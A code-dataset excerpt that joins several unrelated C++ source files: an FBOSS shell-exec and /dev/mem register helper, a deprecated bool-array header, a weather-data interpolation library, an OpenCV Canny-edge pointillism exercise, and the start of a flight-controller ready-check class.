] | null | null | null | fboss/platform/helpers/utils.cpp | nathanawmk/fboss | 9f36dbaaae47202f9131598560c65715334a9a83 | [
"BSD-3-Clause"
] | null | null | null | fboss/platform/helpers/utils.cpp | nathanawmk/fboss | 9f36dbaaae47202f9131598560c65715334a9a83 | [
"BSD-3-Clause"
] | null | null | null | // Copyright 2004-present Facebook. All Rights Reserved.
#include "fboss/platform/helpers/utils.h"
#include <fcntl.h>
#include <glog/logging.h>
#include <sys/mman.h>
#include <iostream>
namespace facebook::fboss::platform::helpers {
/*
* execCommand
* Execute shell command and return output and exit status
*/
std::string execCommand(const std::string& cmd, int& out_exitStatus) {
out_exitStatus = 0;
auto pPipe = ::popen(cmd.c_str(), "r");
if (pPipe == nullptr) {
throw std::runtime_error("Cannot open pipe");
}
std::array<char, 256> buffer;
std::string result;
while (not std::feof(pPipe)) {
auto bytes = std::fread(buffer.data(), 1, buffer.size(), pPipe);
result.append(buffer.data(), bytes);
}
auto rc = ::pclose(pPipe);
if (WIFEXITED(rc)) {
out_exitStatus = WEXITSTATUS(rc);
}
return result;
}
/*
* mmap function to read memory mapped address
*/
uint32_t mmap_read(uint32_t address, char acc_type) {
int fd;
void *map_base, *virt_addr;
uint32_t read_result;
if ((fd = open("/dev/mem", O_RDWR | O_SYNC)) == -1) {
throw std::runtime_error("Cannot open /dev/mem");
}
map_base = mmap(
nullptr,
MAP_SIZE,
PROT_READ | PROT_WRITE,
MAP_SHARED,
fd,
address & ~MAP_MASK);
if (map_base == (void*)-1) {
close(fd);
throw std::runtime_error("mmap failed");
}
// To avoid "error: arithmetic on a pointer to void"
virt_addr = (void*)((char*)map_base + (address & MAP_MASK));
switch (acc_type) {
case 'b':
read_result = *((unsigned char*)virt_addr);
break;
case 'h':
read_result = *((uint16_t*)virt_addr);
break;
case 'w':
read_result = *((uint32_t*)virt_addr);
break;
}
std::cout << "Value at address 0x" << std::hex << address << " (0x"
<< virt_addr << "): 0x" << read_result << std::endl;
if (munmap(map_base, MAP_SIZE) == -1) {
close(fd);
throw std::runtime_error("mmap failed");
}
close(fd);
return read_result;
}
/*
* mmap function to read memory mapped address
*/
int mmap_write(uint32_t address, char acc_type, uint32_t val) {
int fd;
void *map_base, *virt_addr;
uint32_t read_result;
if ((fd = open("/dev/mem", O_RDWR | O_SYNC)) == -1) {
throw std::runtime_error("Cannot open /dev/mem");
}
map_base = mmap(
nullptr,
MAP_SIZE,
PROT_READ | PROT_WRITE,
MAP_SHARED,
fd,
address & ~MAP_MASK);
if (map_base == (void*)-1) {
close(fd);
throw std::runtime_error("mmap failed");
}
// To avoid "error: arithmetic on a pointer to void"
virt_addr = (void*)((char*)map_base + (address & MAP_MASK));
read_result = *((uint32_t*)virt_addr);
std::cout << "Value at address 0x" << std::hex << address << " (0x"
<< virt_addr << "): 0x" << read_result << std::endl;
switch (acc_type) {
case 'b':
*((unsigned char*)virt_addr) = val;
read_result = *((unsigned char*)virt_addr);
break;
case 'h':
*((uint16_t*)virt_addr) = val;
read_result = *((uint16_t*)virt_addr);
break;
case 'w':
*((uint32_t*)virt_addr) = val;
read_result = *((uint32_t*)virt_addr);
break;
}
std::cout << "Written 0x" << std::hex << val << "; readback 0x" << read_result
<< std::endl;
if (munmap(map_base, MAP_SIZE) == -1) {
close(fd);
throw std::runtime_error("mmap failed");
}
close(fd);
return 0;
}
} // namespace facebook::fboss::platform::helpers
| 22.5 | 80 | 0.60114 | nathanawmk |
78f85098def4826a7bcf4b18191668d514cc7397 | 1,961 | hpp | C++ | HW1/deprecated/Array.hpp | aryan-gupta/ECGR4181 | c6ad87d193ccba9799bc199c9c0298e94e5b857c | [
"RSA-MD"
] | null | null | null | HW1/deprecated/Array.hpp | aryan-gupta/ECGR4181 | c6ad87d193ccba9799bc199c9c0298e94e5b857c | [
"RSA-MD"
] | null | null | null | HW1/deprecated/Array.hpp | aryan-gupta/ECGR4181 | c6ad87d193ccba9799bc199c9c0298e94e5b857c | [
"RSA-MD"
] | null | null | null |
/// After
/// A very fast and crude implementation for a memory compressed
/// boolean array. Please note that std::vector already has this
/// impl, but I needed a stack alloc array
#include <type_traits>
#include <iterator>
#include <vector>
namespace ari { // extends https://github.com/aryan-gupta/libari
//// THIS IS INVALID CODE AND WILL NOT COMPILE
// std::vector<bool> test;
// test.push_back(true);
// bool& ref = test[0];
template <typename T>
class bool_array_proxy {
public:
using base_type = T;
using value_type = bool;
using reference = base_type&;
// index is the number of 8 * sizeof(base_type). Lets us use the base_type as a array of bits
using index_type = unsigned short;
using mask_type = base_type; // lets us mask out the value
private:
using self = bool_array_proxy<T>; // stolen from python (hence private)
reference mRef;
mask_type mMask;
public:
bool_array_proxy() = delete; // cant be default init
constexpr bool_array_proxy(reference ref, index_type idx) : mRef{ ref }, mMask{ 1 } {
mMask <<= idx;
}
operator bool() const {
return mRef | mMask; // if our mask returns the value at the index and casts true if >0
}
self operator= (bool) {
}
};
template <typename T, std::size_t N, typename = std::enable_if_t<std::is_same_v<T, bool>>> // lock for bool, need to change later
class
[[deprecated("ari::array<bool> development was discontinued upon discvery of std::bitset")]]
array {
public:
using value_type = T;
using array_base_type = std::byte;
using size_type = std::size_t;
using difference_type = std::ptrdiff_t;
using reference = bool_array_proxy<array_base_type>;
using const_reference = bool;
/// @warning No iterator support yet
private:
constexpr static size_type mSize = N / (sizeof(array_base_type) * 8);
array_base_type mData[mSize];
public:
// Ill let the compiler do the aggrigate inits and ctors/dtors
reference at(size_type idx) {
return { *mData, 0 };
}
};
}
| 25.141026 | 129 | 0.714941 | aryan-gupta |
78f8ca418e6a522f2cea96ac46885e22f4f4df1a | 25,911 | cpp | C++ | newbase/NFmiInterpolation.cpp | fmidev/smartmet-library-newbase | 12d93660c06e3c66a039ea75530bd9ca5daf7ab8 | [
"MIT"
] | null | null | null | newbase/NFmiInterpolation.cpp | fmidev/smartmet-library-newbase | 12d93660c06e3c66a039ea75530bd9ca5daf7ab8 | [
"MIT"
] | 7 | 2017-01-17T10:46:33.000Z | 2019-11-21T07:50:17.000Z | newbase/NFmiInterpolation.cpp | fmidev/smartmet-library-newbase | 12d93660c06e3c66a039ea75530bd9ca5daf7ab8 | [
"MIT"
] | 2 | 2017-01-17T07:33:28.000Z | 2018-04-26T07:10:23.000Z | // ======================================================================
/*!
* \brief Implementation of namespace NFmiInterpolation
*/
// ======================================================================
/*!
* \namespace NFmiInterpolation
*
* \brief Interpolation tools
*
* Namespace NFmiInterpolation contains various utility functions to
* perform interpolation. The main difficulty in handling interpolation
* in newbase is how to handle missing values. The functions provided
* by NFmiInterpolation handle missing values automatically.
*
*/
// ======================================================================
#include "NFmiInterpolation.h"
#include "NFmiModMeanCalculator.h"
#include "NFmiPoint.h"
#include <macgyver/Exception.h>
#include <set>
namespace NFmiInterpolation
{
// ----------------------------------------------------------------------
/*!
* \brief Linear interpolation in 1 dimension
*
* \param theX The X-coordinate
* \param theX1 The X-coordinate of the left value
* \param theX2 The X-coordinate of the right value
* \param theY1 The value at X1
* \param theY2 The value at Y2
* \return The interpolated value (or kFloatMissing)
*/
// ----------------------------------------------------------------------
double Linear(double theX, double theX1, double theX2, double theY1, double theY2)
{
try
{
// Handle special case where X1==X2
if (theX1 == theX2)
{
if (theX != theX1)
return kFloatMissing;
if (theY1 == kFloatMissing || theY2 == kFloatMissing)
return kFloatMissing;
if (theY1 != theY2)
return kFloatMissing;
return theY1;
}
double factor = (theX - theX1) / (theX2 - theX1);
return Linear(factor, theY1, theY2);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Linear windvector interpolation in 1 dimension where value is constructed
* from wind dir (WD) and speed (WS). windVwctor = int(WS)*100 + int(WD/10).
*
* \param theFactor Relative coordinate offset from the left value
* \param theLeft The left value
* \param theRight The right value
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double WindVector(double theFactor, double theLeftWV, double theRightWV)
{
try
{
if (theLeftWV == kFloatMissing)
return (theFactor == 1 ? theRightWV : kFloatMissing);
if (theRightWV == kFloatMissing)
return (theFactor == 0 ? theLeftWV : kFloatMissing);
double leftWD = (static_cast<int>(theLeftWV) % 100) * 10.;
auto leftWS = static_cast<double>(static_cast<int>(theLeftWV) / 100);
double rightWD = (static_cast<int>(theRightWV) % 100) * 10.;
auto rightWS = static_cast<double>(static_cast<int>(theRightWV) / 100);
NFmiInterpolation::WindInterpolator windInterpolator;
windInterpolator.operator()(leftWS, leftWD, 1 - theFactor);
windInterpolator.operator()(rightWS, rightWD, theFactor);
double wdInterp = windInterpolator.Direction();
double wsInterp = windInterpolator.Speed();
if (wdInterp != kFloatMissing && wsInterp != kFloatMissing)
return round(wsInterp) * 100 + round(wdInterp / 10.);
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
double WindVector(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight)
{
try
{
double dx = theX;
double dy = theY;
if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
double blWD = (static_cast<int>(theBottomLeft) % 100) * 10.;
auto blWS = static_cast<double>(static_cast<int>(theBottomLeft) / 100);
double brWD = (static_cast<int>(theBottomRight) % 100) * 10.;
auto brWS = static_cast<double>(static_cast<int>(theBottomRight) / 100);
double tlWD = (static_cast<int>(theTopLeft) % 100) * 10.;
auto tlWS = static_cast<double>(static_cast<int>(theTopLeft) / 100);
double trWD = (static_cast<int>(theTopRight) % 100) * 10.;
auto trWS = static_cast<double>(static_cast<int>(theTopRight) / 100);
NFmiInterpolation::WindInterpolator windInterpolator;
windInterpolator.operator()(blWS, blWD, (1 - dx) * (1 - dy));
windInterpolator.operator()(brWS, brWD, dx *(1 - dy));
windInterpolator.operator()(trWS, trWD, dx *dy);
windInterpolator.operator()(tlWS, tlWD, (1 - dx) * dy);
double wdInterp = windInterpolator.Direction();
double wsInterp = windInterpolator.Speed();
if (wdInterp != kFloatMissing && wsInterp != kFloatMissing)
return round(wsInterp) * 100 + round(wdInterp / 10.);
else
return kFloatMissing;
}
// Grid cell edges
if (dy == 0)
return WindVector(dx, theBottomLeft, theBottomRight);
if (dy == 1)
return WindVector(dx, theTopLeft, theTopRight);
if (dx == 0)
return WindVector(dy, theBottomLeft, theTopLeft);
if (dx == 1)
return WindVector(dy, theBottomRight, theTopRight);
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Linear interpolation in 1 dimension
*
* \param theFactor Relative coordinate offset from the left value
* \param theLeft The left value
* \param theRight The right value
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double Linear(double theFactor, double theLeft, double theRight)
{
try
{
if (theLeft == kFloatMissing)
return (theFactor == 1 ? theRight : kFloatMissing);
if (theRight == kFloatMissing)
return (theFactor == 0 ? theLeft : kFloatMissing);
return (1 - theFactor) * theLeft + theFactor * theRight;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Linear interpolation in 1 dimension with modulo
*
* \param theX The X-coordinate
* \param theX1 The X-coordinate of the left value
* \param theX2 The X-coordinate of the right value
* \param theY1 The value at X1
* \param theY2 The value at Y2
* \param theModulo The modulo
* \return The interpolated value (or kFloatMissing)
*/
// ----------------------------------------------------------------------
double ModLinear(
double theX, double theX1, double theX2, double theY1, double theY2, unsigned int theModulo)
{
try
{
// Handle special case where X1==X2
if (theX1 == theX2)
{
if (theX != theX1)
return kFloatMissing;
if (theY1 == kFloatMissing || theY2 == kFloatMissing)
return kFloatMissing;
if (theY1 != theY2)
return kFloatMissing;
return theY1;
}
double factor = (theX - theX1) / (theX2 - theX1);
return ModLinear(factor, theY1, theY2, theModulo);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Linear interpolation in 1 dimension with modulo
*
* \param theFactor Relative coordinate offset from the left value
* \param theLeft The left value
* \param theRight The right value
* \param theModulo The modulo
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double ModLinear(double theFactor, double theLeft, double theRight, unsigned int theModulo)
{
try
{
if (theLeft == kFloatMissing)
return (theFactor == 1 ? theRight : kFloatMissing);
if (theRight == kFloatMissing)
return (theFactor == 0 ? theLeft : kFloatMissing);
NFmiModMeanCalculator calculator(static_cast<float>(theModulo));
calculator(static_cast<float>(theLeft), static_cast<float>(1 - theFactor));
calculator(static_cast<float>(theRight), static_cast<float>(theFactor));
return calculator();
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Bilinear interpolation in 2 dimensions
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double BiLinear(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight)
{
try
{
double dx = theX;
double dy = theY;
if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
return ((1 - dx) * (1 - dy) * theBottomLeft + dx * (1 - dy) * theBottomRight +
(1 - dx) * dy * theTopLeft + dx * dy * theTopRight);
}
// Grid cell edges
if (dy == 0)
return Linear(dx, theBottomLeft, theBottomRight);
if (dy == 1)
return Linear(dx, theTopLeft, theTopRight);
if (dx == 0)
return Linear(dy, theBottomLeft, theTopLeft);
if (dx == 1)
return Linear(dy, theBottomRight, theTopRight);
// If only one corner is missing, interpolate within
// the triangle formed by the three points, AND now
// also outside it on the other triangle (little extrapolation).
if (theTopLeft == kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
double wsum = (dx * dy + (1 - dx) * (1 - dy) + dx * (1 - dy));
return ((1 - dx) * (1 - dy) * theBottomLeft + dx * (1 - dy) * theBottomRight +
dx * dy * theTopRight) /
wsum;
}
else if (theTopLeft != kFloatMissing && theTopRight == kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
double wsum = ((1 - dx) * dy + (1 - dx) * (1 - dy) + dx * (1 - dy));
return ((1 - dx) * (1 - dy) * theBottomLeft + dx * (1 - dy) * theBottomRight +
(1 - dx) * dy * theTopLeft) /
wsum;
}
else if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft == kFloatMissing && theBottomRight != kFloatMissing)
{
double wsum = ((1 - dx) * dy + dx * dy + dx * (1 - dy));
return (dx * (1 - dy) * theBottomRight + (1 - dx) * dy * theTopLeft + dx * dy * theTopRight) /
wsum;
;
}
else if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight == kFloatMissing)
{
double wsum = ((1 - dx) * (1 - dy) + (1 - dx) * dy + dx * dy);
return ((1 - dx) * (1 - dy) * theBottomLeft + (1 - dx) * dy * theTopLeft +
dx * dy * theTopRight) /
wsum;
}
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
class PointData
{
public:
PointData() : value_(kFloatMissing), distance_(kFloatMissing) {}
PointData(FmiDirection corner, double value, double distance)
: corner_(corner), value_(value), distance_(distance)
{
}
FmiDirection corner_{kNoDirection}; // Minkä kulman pisteestä on kyse (lähinnä debuggaus infoa)
double value_; // Määrätyn kulman arvo
double distance_; // Etäisyys referenssi pisteeseen
};
bool operator<(const PointData &p1, const PointData &p2)
{
return p1.distance_ < p2.distance_;
}
PointData CalcPointData(const NFmiPoint &referencePoint,
const NFmiPoint &cornerPoint,
FmiDirection corner,
double value)
{
try
{
double distX = referencePoint.X() - cornerPoint.X();
double distY = referencePoint.Y() - cornerPoint.Y();
double distance = ::sqrt(distX * distX + distY * distY);
return PointData(corner, value, distance);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Seeking the nearest non-missing value.
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \return The nearest non-missing value
*/
// ----------------------------------------------------------------------
double NearestNonMissing(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight)
{
try
{
NFmiPoint referencePoint(theX, theY);
std::multiset<PointData> sortedPointValues;
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(0, 0), kBottomLeft, theBottomLeft));
sortedPointValues.insert(CalcPointData(referencePoint, NFmiPoint(0, 1), kTopLeft, theTopLeft));
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(1, 1), kTopRight, theTopRight));
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(1, 0), kBottomRight, theBottomRight));
for (const auto &pointData : sortedPointValues)
{
if (pointData.value_ != kFloatMissing)
return pointData.value_;
}
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Seeking the nearest value
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \return The nearest value
*/
// ----------------------------------------------------------------------
double NearestPoint(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight)
{
try
{
NFmiPoint referencePoint(theX, theY);
std::multiset<PointData> sortedPointValues;
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(0, 0), kBottomLeft, theBottomLeft));
sortedPointValues.insert(CalcPointData(referencePoint, NFmiPoint(0, 1), kTopLeft, theTopLeft));
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(1, 1), kTopRight, theTopRight));
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(1, 0), kBottomRight, theBottomRight));
return sortedPointValues.begin()->value_;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Bilinear interpolation of coordinates in 2 dimensions
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \return The interpolated value
*/
// ----------------------------------------------------------------------
NFmiPoint BiLinear(double theX,
double theY,
const NFmiPoint &theTopLeft,
const NFmiPoint &theTopRight,
const NFmiPoint &theBottomLeft,
const NFmiPoint &theBottomRight)
{
try
{
const auto dx = theX;
const auto dy = theY;
const auto xd = 1 - dx;
const auto yd = 1 - dy;
const auto bottomleft = xd * yd;
const auto bottomright = dx * yd;
const auto topleft = xd * dy;
const auto topright = dx * dy;
const auto x = bottomleft * theBottomLeft.X() + bottomright * theBottomRight.X() +
topleft * theTopLeft.X() + topright * theTopRight.X();
const auto y = bottomleft * theBottomLeft.Y() + bottomright * theBottomRight.Y() +
topleft * theTopLeft.Y() + topright * theTopRight.Y();
return NFmiPoint(x, y);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Bilinear interpolation in 2 dimensions with modulo
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \param theModulo The modulo
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double ModBiLinear(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight,
unsigned int theModulo)
{
try
{
NFmiModMeanCalculator calculator(static_cast<float>(theModulo));
double dx = theX;
double dy = theY;
if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
calculator(static_cast<float>(theBottomLeft), static_cast<float>((1 - dx) * (1 - dy)));
calculator(static_cast<float>(theBottomRight), static_cast<float>(dx * (1 - dy)));
calculator(static_cast<float>(theTopRight), static_cast<float>(dx * dy));
calculator(static_cast<float>(theTopLeft), static_cast<float>((1 - dx) * dy));
return calculator();
}
// Grid cell edges
if (dy == 0)
return ModLinear(dx, theBottomLeft, theBottomRight, theModulo);
if (dy == 1)
return ModLinear(dx, theTopLeft, theTopRight, theModulo);
if (dx == 0)
return ModLinear(dy, theBottomLeft, theTopLeft, theModulo);
if (dx == 1)
return ModLinear(dy, theBottomRight, theTopRight, theModulo);
// If only one corner is missing, interpolate within
// the triangle formed by the three points, but not
// outside it.
if (theTopLeft == kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
if (dx < dy)
return kFloatMissing;
calculator(static_cast<float>(theBottomLeft), static_cast<float>((1 - dx) * (1 - dy)));
calculator(static_cast<float>(theBottomRight), static_cast<float>(dx * (1 - dy)));
calculator(static_cast<float>(theTopRight), static_cast<float>(dx * dy));
return calculator();
}
else if (theTopLeft != kFloatMissing && theTopRight == kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
if (1 - dx < dy)
return kFloatMissing;
calculator(static_cast<float>(theTopLeft), static_cast<float>((1 - dx) * dy));
calculator(static_cast<float>(theBottomLeft), static_cast<float>((1 - dx) * (1 - dy)));
calculator(static_cast<float>(theBottomRight), static_cast<float>(dx * (1 - dy)));
return calculator();
}
else if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft == kFloatMissing && theBottomRight != kFloatMissing)
{
if (1 - dx > dy)
return kFloatMissing;
calculator(static_cast<float>(theBottomRight), static_cast<float>(dx * (1 - dy)));
calculator(static_cast<float>(theTopRight), static_cast<float>(dx * dy));
calculator(static_cast<float>(theTopLeft), static_cast<float>((1 - dx) * dy));
return calculator();
}
else if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight == kFloatMissing)
{
if (dx > dy)
return kFloatMissing;
calculator(static_cast<float>(theBottomLeft), static_cast<float>((1 - dx) * (1 - dy)));
calculator(static_cast<float>(theTopLeft), static_cast<float>((1 - dx) * dy));
calculator(static_cast<float>(theTopRight), static_cast<float>(dx * dy));
return calculator();
}
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief 2D weighted wind interpolation
*/
// ----------------------------------------------------------------------
WindInterpolator::WindInterpolator()
: itsCount(0),
itsSpeedSum(0),
itsSpeedSumX(0),
itsSpeedSumY(0),
itsWeightSum(0),
itsBestDirection(0),
itsBestWeight(0)
{
}
// ----------------------------------------------------------------------
/*!
* \brief Reset the interpolator
*/
// ----------------------------------------------------------------------
void WindInterpolator::Reset()
{
try
{
itsCount = 0;
itsSpeedSum = 0;
itsSpeedSumX = 0;
itsSpeedSumY = 0;
itsWeightSum = 0;
itsBestDirection = 0;
itsBestWeight = 0;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Add a new wind vector to the weighted sum
*/
// ----------------------------------------------------------------------
void WindInterpolator::operator()(double theSpeed, double theDirection, double theWeight)
{
try
{
if (theSpeed == kFloatMissing || theDirection == kFloatMissing || theWeight <= 0)
return;
if (itsCount == 0 || theWeight > itsBestWeight)
{
itsBestDirection = theDirection;
itsBestWeight = theWeight;
}
++itsCount;
itsWeightSum += theWeight;
itsSpeedSum += theWeight * theSpeed;
// Note that wind direction is measured against the Y-axis,
// not the X-axis. Hence sin and cos are not in the usual
// order.
double dir = FmiRad(theDirection);
itsSpeedSumX += theWeight * cos(dir);
itsSpeedSumY += theWeight * sin(dir);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Return the mean wind speed
*
* We choose to return mean speed component instead of mean
* 2D wind component since the wind is probably turning in the
* area instead of diminishing between the grid corners like the
* result would be if we used the 2D mean.
*/
// ----------------------------------------------------------------------
double WindInterpolator::Speed() const
{
try
{
if (itsCount == 0 || itsWeightSum == 0)
return kFloatMissing;
return itsSpeedSum / itsWeightSum;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Return the mean wind direction
*
* For direction we use 2D component analysis. If the result is a null
* vector, we return the direction with the largest weight.
*/
// ----------------------------------------------------------------------
double WindInterpolator::Direction() const
{
try
{
if (itsCount == 0 || itsWeightSum == 0)
return kFloatMissing;
double x = itsSpeedSumX / itsWeightSum;
double y = itsSpeedSumY / itsWeightSum;
// If there is almost exact cancellation, return best
// weighted direction instead.
if (sqrt(x * x + y * y) < 0.01)
return itsBestDirection;
// Otherwise use the 2D mean
double dir = atan2(y, x);
dir = FmiDeg(dir);
if (dir < 0)
dir += 360;
return dir;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
} // namespace NFmiInterpolation
// ======================================================================
| 32.633501 | 100 | 0.583536 | fmidev |
78f941228a50b58a8ea72601e56cc361e899e31d | 2,486 | cpp | C++ | src/exercises/7/cannypoints.cpp | neumanf/pdi | b9ac18f79dad331f874405c57eaedf5157b0648b | [
"MIT"
] | null | null | null | src/exercises/7/cannypoints.cpp | neumanf/pdi | b9ac18f79dad331f874405c57eaedf5157b0648b | [
"MIT"
] | null | null | null | src/exercises/7/cannypoints.cpp | neumanf/pdi | b9ac18f79dad331f874405c57eaedf5157b0648b | [
"MIT"
] | null | null | null | #include <algorithm>
#include <cstdlib>
#include <ctime>
#include <fstream>
#include <iomanip>
#include <iostream>
#include <numeric>
#include <opencv2/core/matx.hpp>
#include <opencv2/imgcodecs.hpp>
#include <opencv2/opencv.hpp>
#include <vector>
using namespace std;
using namespace cv;
#define STEP 5
#define JITTER 3
#define RAIO 5
int main(int argc, char **argv) {
vector<int> yrange;
vector<int> xrange;
Mat image, border, frame, points;
int width, height, gray;
int x, y;
image = imread("./exercises/7/hunt.jpg", cv::IMREAD_GRAYSCALE);
srand(time(0));
if (!image.data) {
cout << "nao abriu" << argv[1] << endl;
cout << argv[0] << " imagem.jpg";
exit(0);
}
width = image.size().width;
height = image.size().height;
int cannyThreshold = 30;
Canny(image, border, cannyThreshold, 3 * cannyThreshold);
xrange.resize(height / STEP);
yrange.resize(width / STEP);
iota(xrange.begin(), xrange.end(), 0);
iota(yrange.begin(), yrange.end(), 0);
for (uint i = 0; i < xrange.size(); i++) {
xrange[i] = xrange[i] * STEP + STEP / 2;
}
for (uint i = 0; i < yrange.size(); i++) {
yrange[i] = yrange[i] * STEP + STEP / 2;
}
points = Mat(height, width, CV_8U, Scalar(255));
random_shuffle(xrange.begin(), xrange.end());
for (auto i : xrange) {
random_shuffle(yrange.begin(), yrange.end());
for (auto j : yrange) {
x = i + rand() % (2 * JITTER) - JITTER + 1;
y = j + rand() % (2 * JITTER) - JITTER + 1;
gray = image.at<uchar>(x, y);
circle(points, cv::Point(y, x), RAIO, CV_RGB(gray, gray, gray), -1,
cv::LINE_AA);
}
}
for (int i = 0; i < 10; i++) {
for (auto i : xrange) {
random_shuffle(yrange.begin(), yrange.end());
for (auto j : yrange) {
x = i + rand() % (2 * JITTER) - JITTER + 1;
y = j + rand() % (2 * JITTER) - JITTER + 1;
gray = image.at<uchar>(x, y);
if (border.at<uchar>(x, y) == 255) {
circle(points, cv::Point(y, x), RAIO - 2,
CV_RGB(gray, gray, gray), -1, cv::LINE_AA);
}
}
}
}
imshow("points", points);
waitKey();
imwrite("./exercises/7/pontos.jpg", points);
imwrite("./exercises/7/cannyborders.png", border);
return 0;
} | 25.111111 | 79 | 0.522526 | neumanf |
78fac89b0ba64af914b83ce5e202dd61d3eb0572 | 2,131 | cc | C++ | src/flyMS/src/ready_check.cc | msardonini/Robotics_Cape | 5a1e7c25f6051f75a176a13d17dd6419731a72a5 | [
"MIT"
] | 3 | 2017-08-04T01:04:42.000Z | 2017-11-21T17:56:28.000Z | src/flyMS/src/ready_check.cc | msardonini/Robotics_Cape | 5a1e7c25f6051f75a176a13d17dd6419731a72a5 | [
"MIT"
] | null | null | null | src/flyMS/src/ready_check.cc | msardonini/Robotics_Cape | 5a1e7c25f6051f75a176a13d17dd6419731a72a5 | [
"MIT"
] | null | null | null |
#include "flyMS/ready_check.h"
#include <chrono>
#include "rc/dsm.h"
#include "rc/start_stop.h"
#include "rc/led.h"
// Default Constructor
ReadyCheck::ReadyCheck() {
is_running_.store(true);
}
// Desctuctor
ReadyCheck::~ReadyCheck() {
is_running_.store(false);
rc_dsm_cleanup();
}
